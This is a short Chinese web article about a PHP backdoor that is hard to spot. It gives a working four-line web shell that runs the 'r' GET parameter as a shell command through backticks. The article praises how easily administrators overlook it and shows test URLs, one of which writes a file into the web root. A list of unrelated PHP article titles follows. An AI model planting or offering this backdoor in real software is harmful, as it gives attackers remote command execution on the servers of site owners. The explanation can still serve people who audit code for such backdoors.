一个不易被发现的PHP后门代码解析

2015-01-24信息快讯网

这篇文章主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

php中随机函数mt_rand()与rand()性能对比分析
THINKPHP项目开发中的日志记录实例分析
PHP内置的Math函数效率测试
php查找字符串出现次数的方法
ThinkPHP实现动态包含文件的方法
几个实用的PHP内置函数使用指南
ThinkPHP控制器里javascript代码不能执行的解决方法
PHP判断一个gif图片是否为动态图片的方法
基于递归实现的php树形菜单代码
PHP调用wsdl文件类型的接口代码分享
一个比较不错的PHP日历类分享
一个经典的PHP文件上传类分享
一个经典的PHP验证码类分享
一个经典实用的PHP图像处理类分享
php一行代码获取文件后缀名实例分析
php实现的css文件背景图片下载器代码
最常用的8款PHP调试工具
linux下使用crontab实现定时PHP计划任务失败的原因分析
php操作redis中的hash和zset类型数据的方法和代码例子
30个php操作redis常用方法代码例子
PHP在网页中动态生成PDF文件详细教程
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
PHP使用range协议实现输出文件断点续传代码实例
windows7下安装php的php-ssh2扩展教程
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
PHP不用递归遍历目录下所有文件的代码
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
用PHP解决的一个栈的面试题
2个比较经典的PHP加密解密函数分享
支持生僻字且自动识别utf-8编码的php汉字转拼音类
分享一个php 的异常处理程序
PHP封装的一个支持HTML、JS、PHP重定向的多功能跳转函数
单台服务器的PHP进程之间实现共享内存的方法
一个严格的PHP Session会话超时时间设置方法
©2014-2024 dbsqp.com